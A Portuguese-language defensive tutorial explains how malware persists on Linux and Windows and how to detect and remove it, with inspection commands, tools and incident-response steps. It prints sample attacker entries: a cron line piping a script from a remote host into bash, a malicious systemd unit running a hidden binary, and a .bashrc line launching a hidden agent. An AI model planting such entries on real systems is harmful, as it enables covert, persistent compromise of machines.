Intermediário Sistema e Host

Persistência de Malware — cron, registry, serviços e startup

Persistência é a capacidade de um malware sobreviver a reinicializações do sistema. Após comprometer uma máquina, o atacante instala um mecanismo que reexecuta o payload automaticamente. Conhecer esses pontos é fundamental para a resposta a incidentes.

Linux — mecanismos comuns

Cron jobs maliciosos

# Locais de cron que um atacante pode modificar
crontab -l                  # cron do usuário atual
cat /etc/crontab            # cron do sistema
ls /etc/cron.d/             # fragmentos de cron
ls /var/spool/cron/crontabs # crons por usuário

# Exemplo de entrada maliciosa:
*/5 * * * * root curl -s http://192.168.1.100/payload.sh | bash

Detecção: compare crons com baseline; monitore escrita em /var/spool/cron com auditd.

Systemd units persistentes

# Serviço malicioso instalado
cat /etc/systemd/system/updater.service

[Unit]
Description=System Updater

[Service]
ExecStart=/tmp/.hidden/agent
Restart=always

[Install]
WantedBy=multi-user.target

Verificar unidades recém-criadas:

find /etc/systemd/system/ -newer /etc/passwd -name "*.service"
systemctl list-units --type=service --state=running

~/.bashrc e ~/.profile

# Linha adicionada ao fim do .bashrc
echo "nohup /tmp/.cache/agent &>/dev/null &" >> ~/.bashrc

Revise arquivos de inicialização de shell regularmente.

Windows — mecanismos comuns

Registry Run Keys

As chaves mais exploradas para autorun:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
# Listar entradas de autorun
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"

Scheduled Tasks

# Listar todas as tarefas
Get-ScheduledTask | Where-Object { $_.State -ne 'Disabled' } |
  Select-Object TaskName, TaskPath, State

# Inspecionar tarefa suspeita
Export-ScheduledTask -TaskName "WindowsUpdate" | Out-String

Serviços Windows

# Serviços com binário em local incomum
Get-WmiObject Win32_Service |
  Where-Object { $_.PathName -notlike "*System32*" -and $_.PathName -notlike "*Program Files*" } |
  Select-Object Name, PathName, StartMode

Pasta Startup

Usuário:   C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Sistema:   C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
Get-ChildItem "C:\Users\$env:USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"

Ferramentas de detecção

Linux:
  - chkrootkit / rkhunter — detectar rootkits e modificações
  - auditd — monitorar escrita em locais sensíveis
  - ls -la /tmp /dev/shm — diretórios favoritos de malware

Windows:
  - Autoruns (Sysinternals) — mostra TODOS os pontos de persistência
  - Sysmon Event ID 13 — escrita em chaves de registro
  - Event ID 7045 — novo serviço criado

Resposta ao incidente

  1. Isolei a máquina da rede
  2. Tirar snapshot / imagem de disco
  3. Identificar e documentar o mecanismo de persistência
  4. Remover o payload e o mecanismo
  5. Analisar o vetor de entrada original — senão o atacante volta

Nunca apenas remova o malware sem entender como ele entrou.